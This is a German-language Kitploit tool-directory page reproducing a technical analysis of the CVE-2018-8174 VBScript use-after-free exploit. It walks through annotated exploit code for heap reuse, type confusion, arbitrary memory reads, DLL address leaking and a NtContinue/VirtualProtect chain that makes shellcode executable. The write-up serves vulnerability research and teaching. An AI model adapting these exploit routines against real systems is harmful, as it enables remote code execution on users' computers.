Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
cve-2018-8174_analysis — Analyse des VBS-Exploits CVE-2018-8174 | Kitploit
Tools/GitHubGitHub/piotrflorczyk/cve-2018-8174_analysis
SpeicherforensikSchwachstellenanalyseExploitationReverse EngineeringLernen & BildungBinary-Exploitation
GitHubpiotrflorczyk/cve-2018-8174_analysis

cve-2018-8174_analysis

Analyse des VBS-Exploits CVE-2018-8174

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen
3014vor 8 JahrenVon Kitploit geprüft

Analyse eines modernen Browser-Exploits: Fallstudie zu CVE-2018-8174

Überblick

Als dieser Exploit Ende April/Anfang Mai auftauchte, weckte er mein Interesse, denn trotz starker Verschleierung war die Codestruktur gut organisiert und der Code zur Ausnutzung der Sicherheitslücke klein genug, um die Analyse zu vereinfachen. Ich lud den POC von GitHub herunter und entschied, dass er ein guter Kandidat wäre, um ihn genauer unter die Haube zu nehmen. Zu diesem Zeitpunkt waren bereits zwei Analysen veröffentlicht, die erste von 360 und die zweite von Kaspersky. Beide halfen mir zu verstehen, wie es funktionierte, aber sie reichten nicht aus, um jeden Aspekt des Exploits tiefgehend zu verstehen. Deshalb habe ich beschlossen, ihn selbst zu analysieren und meine Erkenntnisse zu teilen.

Vorverarbeitung

Zuerst habe ich, um die Integer-Verschleierung zu entfernen, eine Regex-Ersetzung in einem Python-Skript verwendet:

root@kitploit:~
import re
def process(matchobj):
	line = matchobj.group(1)
	line = line.lower().replace('&h', '0x')
	return str(eval(line))			# extremly safe :) 

data = open('analysis.vbs', 'r').read()	
result = re.sub('\((&h[^\)]+)\)', process, data)
open('result.vbs', 'w').write(result)

Was die verschleierten Namen betrifft, habe ich sie während der Analyse schrittweise umbenannt. Diese Analyse liest sich am besten zusammen mit dem Quellcode, auf den am Ende verlinkt wird.

Use-after-free

Die Sicherheitslücke tritt auf, wenn ein Objekt beendet und die benutzerdefinierte Funktion Class_Terminate() aufgerufen wird. In dieser Funktion wird eine Referenz auf das freigegebene Objekt in UafArray gespeichert. Von nun an bezieht sich UafArray(i) auf das gelöschte Objekt.

root@kitploit:~
Class ClassTerminateA
Private Sub Class_Terminate()
	Set UafArrayA(UafCounter)=FreedObjectArray(1)
	UafCounter=UafCounter+1
	FreedObjectArray(1)=1	' fix ref counter
End Sub
End Class
...
UafCounter=0	
For idx=0 To 6
	ReDim FreedObjectArray(1)
	Set FreedObjectArray(1)=New ClassTerminateA
	Erase FreedObjectArray
Next

Beachten Sie auch die letzte Zeile in Class_Terminate(). Wenn wir das ClassTerminate-Objekt in UafArray kopieren, wird sein Referenzzähler erhöht. Um das auszugleichen, geben wir es erneut frei, indem wir FreedObjectArray einen anderen Wert zuweisen. Ohne diesen Ausgleich würde der Speicher des Objekts trotz des Aufrufs von Class_Terminate nicht freigegeben und das nächste Objekt würde nicht an seiner Stelle allokiert.

VBScriptClass::Release-Methode

Das Erstellen und Löschen neuer Objekte wird in einer Schleife siebenmal wiederholt; danach wird ein neues Objekt der Klasse ReuseClass erstellt. Es wird in demselben Speicherbereich allokiert, der zuvor von den 7 ClassTerminate-Instanzen belegt war. Um das besser zu verstehen, hier ein einfaches WinDbg-Skript, das alle diese Allokationen protokolliert:

root@kitploit:~
bp vbscript!VBScriptClass::TerminateClass ".printf \"Class %mu at %x, terminate called\\n\", poi(@ecx + 0x24), @ecx; g";
bp vbscript!VBScriptClass::Release ".printf \"Class %mu at: %x ref counter, release called: %d\\n\", poi(@eax + 0x24), @ecx, poi(@eax + 0x4); g";
bp vbscript!VBScriptClass::Create+0x55 ".printf \"Class %mu created at %x\\n\", poi(@esi + 0x24), @esi; g";

Hier ist das Allokationsprotokoll der Funktion UafTrigger:

root@kitploit:~
Class EmptyClass created at 3a7d90
Class EmptyClass created at 3a7dc8
...
Class ReuseClass created at 22601a0
Class ReuseClass created at 22601d8
Class ReuseClass created at 2260210
...
Class ClassTerminateA created at 22605c8
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 1
Class ClassTerminateA at 22605c8, terminate called
Class ClassTerminateA at: 70541748 ref counter, release called: 5
Class ClassTerminateA at: 70541748 ref counter, release called: 4
Class ClassTerminateA at: 70541748 ref counter, release called: 3
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA created at 22605c8
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 1
Class ClassTerminateA at 22605c8, terminate called
Class ClassTerminateA at: 70541748 ref counter, release called: 5
Class ClassTerminateA at: 70541748 ref counter, release called: 4
Class ClassTerminateA at: 70541748 ref counter, release called: 3
Class ClassTerminateA at: 70541748 ref counter, release called: 2
...
Class ReuseClass created at 22605c8
...
Class ClassTerminateB created at 2260600
Class ClassTerminateB at: 70541748 ref counter, release called: 2
Class ClassTerminateB at: 70541748 ref counter, release called: 2
Class ClassTerminateB at: 70541748 ref counter, release called: 2
Class ClassTerminateB at: 70541748 ref counter, release called: 1
Class ClassTerminateB at 2260600, terminate called
Class ClassTerminateB at: 70541748 ref counter, release called: 5
Class ClassTerminateB at: 70541748 ref counter, release called: 4
Class ClassTerminateB at: 70541748 ref counter, release called: 3
Class ClassTerminateB at: 70541748 ref counter, release called: 2
...
Class ReuseClass created at 2260600

Wir können sofort sehen, dass ReuseClass tatsächlich in demselben Speicher allokiert wird, der zuvor den 7 Instanzen von ClassTerminate zugewiesen war. Dies wird zweimal wiederholt. Am Ende haben wir zwei Objekte, auf die über UafArrays verwiesen wird. Keine dieser Referenzen ist im Referenzzähler des Objekts berücksichtigt. In diesem Protokoll können wir auch bemerken, dass es selbst nach dem Aufruf von Class_Terminate einige Objektmanipulationen gibt, die dessen Referenzzähler verändern. Aus diesem Grund würde man, wenn man diesen Zähler nicht in Class_Terminate ausgleichen würde, so etwas wie Folgendes erhalten:

root@kitploit:~
Class ClassTerminateA created at 2240708
Class ClassTerminateA at: 6c161748 ref counter, release called: 2
Class ClassTerminateA at: 6c161748 ref counter, release called: 2
Class ClassTerminateA at: 6c161748 ref counter, release called: 2
Class ClassTerminateA at: 6c161748 ref counter, release called: 1
Class ClassTerminateA at 2240708, terminate called
Class ClassTerminateA at: 6c161748 ref counter, release called: 5
Class ClassTerminateA at: 6c161748 ref counter, release called: 4
Class ClassTerminateA at: 6c161748 ref counter, release called: 3
Class ReuseClass created at 2240740

Unterschiedliche Allokationsadressen. Der Exploit würde die Use-after-Free-Bedingung nicht erzeugen können.

Typkonfusion

Nachdem wir diese beiden Objekte mit jeweils 7 nicht gezählten Referenzen erstellt haben, haben wir eine Primitive zum beliebigen Speicherlesen etabliert. Es gibt zwei ähnliche Klassen, ReuseClass und FakeReuseClass. Indem man die erste Klasse durch die zweite ersetzt, kommt es zu einer Typkonfusion beim Mitglied mem.

root@kitploit:~
Class ReuseClass
Dim mem
Function P
End Function
Function SetProp(Value)
	mem=Value				' will actually call Default Poperty Get
	SetProp=0
End Function
End Class

Class FakeReuseClass
Dim mem
Function ReadBstrValll
	ReadBstrValll=LenB(mem(some_memory+8))
End Function
Function Q
End Function
End Class

In der Funktion SetProp wird ReuseClass.mem gespeichert und Default Property Get der Klasse ReplacingClass_* aufgerufen; das Ergebnis dieses Aufrufs wird in ReuseClass.mem abgelegt.

root@kitploit:~
Public Default Property Get Q
	Dim objectImitatingArray
	Q=CDbl("174088534690791e-324")		'hex value: db 0, 0, 0, 0, 0Ch, 20h, 0, 0
	For idx=0 To 6
		UafArrayA(idx)=0
	Next
	Set objectImitatingArray=New FakeReuseClass
	objectImitatingArray.mem = FakeArrayString
	For idx=0 To 6
		Set UafArrayA(idx)=objectImitatingArray
	Next
End Property

In diesem Getter wird UafArray geleert, indem jedem Element 0 zugewiesen wird. Dadurch wird VBScriptClass::Release auf dem ReuseClass-Objekt aufgerufen, auf das über UafArray verwiesen wird. Es stellt sich heraus, dass das ReuseClass-Objekt in dieser Ausführungsphase einen Referenzzähler von 7 hat, und da wir Release 7-mal aufrufen, wird dieses Objekt freigegeben. Und weil diese Referenzen aus der Use-after-Free-Situation stammen, sind sie im Referenzzähler nicht berücksichtigt. Anstelle von ReuseClass wird ein neues Objekt von FakeReuseClass allokiert. Um seinen Referenzzähler auf 7 zu bringen, wie es bei ReuseClass der Fall war, weisen wir es 7-mal dem UafArray zu. Hier ist das Speicherlayout vor und nach dieser Operation.

Ersetzen von ReuseClass durch FakeReuseClass

Diagramm für VBScript-Objekte

Danach gibt die Getter-Funktion einen Wert zurück, der der alten Variablen ReuseClass::mem zugewiesen wird. Wie in den Speicherabbildern zu sehen ist, befand sich der alte Wert 0xC Bytes vor dem neuen. Die Objekte wurden speziell präpariert, um diese Situation herbeizuführen, beispielsweise durch die Wahl passender Längen für die Funktionsnamen. Nun überschreibt der in ReuseClass::mem geschriebene Wert den Header von FakeReuseClass::mem, was zu einer Typkonfusion führt.

Typkonfusion beim mem-Mitglied

root@kitploit:~
FakeArrayString=Unescape("%u0001%u0880%u0001%u0000%u0000%u0000%u0000%u0000%uffff%u7fff%u0000%u0000") 'SAFEARRAY structure as string
Empty16BString=Unescape("%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000") 'String with nulls, used as memory to write to

objectImitatingArray.mem = FakeArrayString

Die letzte Zeile hat den String FakeArrayString an objectImitatingArray.mem zugewiesen. Der Header hat nun den Wert VT_BSTR

root@kitploit:~
Q=CDbl("174088534690791e-324") ' db 0, 0, 0, 0, 0Ch, 20h, 0, 0

Dieser Wert hat den Typ von objectImitatingArray.mem auf VT_ARRAY | VT_VARIANT überschrieben, und nun wird der Zeiger auf den String als Zeiger auf eine SAFEARRAY-Struktur interpretiert.

Beliebiges Speicherlesen

Das Ergebnis ist, dass wir zwei Objekte von FakeReuseClass haben. Eines davon hat ein mem-Mitgliedsarray, das den gesamten Benutzerbereich (0x00000000 - 0x7fffffff) adressiert, und das andere hat ein Mitglied vom Typ VT_I4 (4-Byte-Integer) mit einem Zeiger auf einen leeren 16-Byte-String. Mit dem zweiten Objekt wird ein Zeiger auf einen String geleakt:

root@kitploit:~
some_memory=resueObjectB_int.mem

Er wird später als Adresse in einem beschreibbaren Speicherbereich verwendet. Der nächste Schritt ist, eine beliebige Adresse innerhalb von vbscript.dll zu leaken. Dabei wird ein sehr raffinierter Trick verwendet.

root@kitploit:~
Function LeakVBAddr
	On Error Resume Next
	Dim emptySub_addr_placeholder
	emptySub_addr_placeholder=EmptySub
	emptySub_addr_placeholder=null
	SetVarData emptySub_addr_placeholder
	LeakVBAddr=ReadRawPointer()
End Function

Zuerst wird festgelegt, dass das Skript bei einem Fehler einfach mit der normalen Ausführung fortfahren soll. Dann wird versucht, EmptySub einer Variablen zuzuweisen. Das ist in VBS nicht möglich, aber es wird trotzdem ein Wert auf den Stack gelegt, bevor der Fehler erzeugt wird. Die nächste Anweisung soll einer Variablen null zuweisen, was sie tut, indem sie einfach den Typ des letzten Werts vom Stack auf VT_NULL ändert. Nun hält emptySub_addr_placeholder einen Zeiger auf die Funktion, allerdings mit dem Typ VT_NULL.

root@kitploit:~
Function ReadRawPointer
	resueObjectA_arr.mem(some_memory)=3						' set var type to type vbLong 
	ReadRawPointer=resueObjectA_arr.mem(some_memory+8)		' read data as vbLong
End Function
Sub SetVarData(ByRef ref)
	resueObjectA_arr.mem(some_memory+8)=ref				' set data
End Sub

Dann wird dieser Wert in unseren beschreibbaren Speicher geschrieben, sein Typ wird auf VT_I4 geändert und er wird als Integer zurückgelesen. Wenn man den Inhalt dieses Werts prüft, stellt sich heraus, dass es sich um einen Zeiger auf CScriptEntryPoint handelt, und das erste Mitglied ist vftable, das auf vbscript.dll zeigt.

Leaken der vbscript.dll-Adresse

Um einen Wert von einer beliebigen Adresse zu lesen, in diesem Fall den von LeakVBAddr zurückgegebenen Zeiger, werden die folgenden Funktionen verwendet:

root@kitploit:~
Function GetUint32(addr)
	Dim value
	resueObjectA_arr.mem(some_memory+8)=addr+4		' set value as BSTR ptr + 4 (BSTR obj: [len][addr+4], LenB will read from [len] == [addr]
	resueObjectA_arr.mem(some_memory)=8				' set type to VT_BSTR
	value=resueObjectA_arr.ReadBstrValll
	resueObjectA_arr.mem(some_memory)=2				' set type to original VT_I2
	GetUint32=value
End Function
Function ReadBstrValll
	ReadBstrValll=LenB(mem(some_memory+8))
End Function

Das Lesen wird erreicht, indem zuerst address+4 in einen beschreibbaren Speicher geschrieben wird, dann wird der Typ auf VT_BSTR geändert. Nun wird address+4 als Zeiger auf einen BSTR behandelt. Wenn man LenB auf address+4 aufruft, wird der Wert zurückgegeben, auf den address zeigt. Warum? Weil BSTR so definiert ist, dass dem Unicode-Wert seine Länge vorangestellt ist, und genau diese Länge wird von LenB zurückgegeben.

LenB-Implementierung

Nun, da die Adresse innerhalb von vbscript.dll geleakt wurde und die beliebige Speicherlese-Primitive etabliert ist, ist es nur noch eine Frage des korrekten Durchlaufens des PE-Headers, um alle benötigten Adressen zu erhalten.

root@kitploit:~
vbscript=FindMzBase(GetUint32(ptr_toCScriptEntryPointVTble))
msvcrt=GetDllBaseFromExport(vbscript,"msvcrt.dll")
kernelbase=GetDllBaseFromExport(msvcrt,"kernelbase.dll")
ntdll=GetDllBaseFromExport(msvcrt,"ntdll.dll")
VirtualProtect=GetProcAddr(kernelbase,"VirtualProtect")
NtContinue=GetProcAddr(ntdll,"NtContinue")

Die Details dazu werden hier nicht erklärt. Dieser Artikel erklärt die PE-Datei sehr ausführlich.

Auslösen der Codeausführung

Die endgültige Codeausführung wird in zwei Schritten erreicht. Zuerst wird eine Kette aus zwei Aufrufen aufgebaut, aber es ist keine ROP-Kette. NtContinue erhält eine CONTEXT-Struktur, die EIP auf die Adresse von VirtualProtect und ESP auf eine Struktur mit den Parametern von VirtualProtect setzt.

root@kitploit:~
Function VirtualProtectCallParameters(shellcodePtr)
	Dim result
	result = String(10000,Unescape("%u4141"))    		' 'A' * 0x10fdc - padding, this space will be used as stack
	result = result & UnescapeValue(shellcodePtr)		' &shellcode - address to return to after VirtualProtect
	result = result & UnescapeValue(shellcodePtr)		' &shellcode - lpAddress	(1st param for VirtualProtect)
	result = result & UnescapeValue(12288)			' 0x3000 - size (2nd param for VirtualProtect)
	result = result & UnescapeValue(64)			' 0x40 	- newProtect (3rd param for VirtualProtect) 
	result = result & UnescapeValue(shellcodePtr-8)		' &(shellcode-8) - lpOldProtect (4th param for VirtualProtect)
	result = result & String(6,Unescape("%u4242"))		' 'B' * 12	- padding and allignment
	result = result & StructWithNtContinueAddr()		' \x00 * 3  NtContinue * 4 \x00
	result = result & String((524288-LenB(result))/2,Unescape("%u4141"))' 'A' * (0x80000 - current_size) - padding
	VirtualProtectCallParameters = result
End Function

Function StructForNtContinue(structForVirtualProtect)
	Dim result
	Dim ntContinuePtr
	ntContinuePtr = structForVirtualProtect + 35
	result = ""
	result = result & UnescapeValue(ntContinuePtr)
	result = result & String((184-LenB(result))/2,Unescape("%u4141")) ' 'A' * 0xb8  - initalize _CONTEXT with 'A'
	result = result & UnescapeValue(VirtualProtect)		' VirtualProtect - _EIP in _CONTEXT struct
	result = result & UnescapeValue(27)			' 0x1b - CsSeg in _CONTEXT struct
	result = result & UnescapeValue(0)			' 0x00 - EFLAGS in _CONTEXT struct
	result = result & UnescapeValue(structForVirtualProtect) ' structForVirtualProtect - _ESP in _CONTEXT struct
	result = result & UnescapeValue(35)			' 0x23 - SsSeg in _CONTEXT struct
	result = result & String((1024-LenB(result))/2,Unescape("%u4343")) ' 'A' * (0x400 - current_size) - padding
	StructForNtContinue = result
End Function

SetVarData GetShellcode()
shellcodePtr = ReadRawPointer() + 8
SetVarData VirtualProtectCallParameters(shellcodePtr)
structForVirtualProtect = ReadRawPointer() + 20000
SetVarData StructForNtContinue(structForVirtualProtect)

Die erste Adresse des Shellcodes wird mithilfe der zuvor beschriebenen Technik erhalten, bei der der Variablentyp auf VT_I4 geändert und der Zeiger gelesen wird. Als Nächstes wird eine Struktur für VirtualProtect gebaut, die alle notwendigen Parameter enthält, wie Shellcode-Adresse, Größe und RWX-Schutz. Sie bietet auch Platz, der von den Stack-Operationen innerhalb von VirtualProtect genutzt wird. Danach wird eine CONTEXT-Struktur gebaut, mit EIP, das auf VirtualProtect gesetzt ist, und ESP, das auf dessen Parameter zeigt. Diese Struktur hat als ersten Wert auch einen Zeiger auf die NtContinue-Adresse, der viermal wiederholt wird. Der letzte Schritt vor dem Start dieser Kette ist es, die Struktur als String im Speicher zu speichern.

root@kitploit:~
Sub TriggerCodeExecution
	resueObjectA_arr.mem(some_memory)=&h4d
	resueObjectA_arr.mem(some_memory+8)=0
End Sub

Diese Funktion wird dann verwendet, um die Kette zu starten. Zuerst ändert sie den Typ der gespeicherten Struktur auf 0x4D und setzt dann ihren Wert auf 0; dadurch wird VAR::Clear aufgerufen.

Codeausführung

Und eine dynamische Ansicht aus dem Debugger

Codeausführung

Auch wenn es kompliziert erscheinen mag, ist diese Ausführungskette sehr einfach. Nur zwei Schritte: NtContinue mit einer CONTEXT-Struktur aufrufen, die auf VirtualProtect zeigt. Danach deaktiviert VirtualProtect DEP auf der Speicherseite, die den Shellcode enthält, und kehrt anschließend in den Shellcode zurück.

Fazit

CVE-2018-8174 ist ein gutes Beispiel dafür, wie mehrere Use-after-Free- und Typkonfusions-Bedingungen zu einer sehr cleveren Codeausführung verknüpft werden. Es ist ein hervorragendes Beispiel, um daraus zu lernen und die inneren Abläufe solcher Exploits zu verstehen.

Nützliche Links

Kommentierter Exploit-Code

Kasperskys Root-Cause-Analyse

360s Analyse

Eine weitere Analyse von Kaspersky

CVE-2014-6332-Analyse von Trend Micro

Tool herunterladen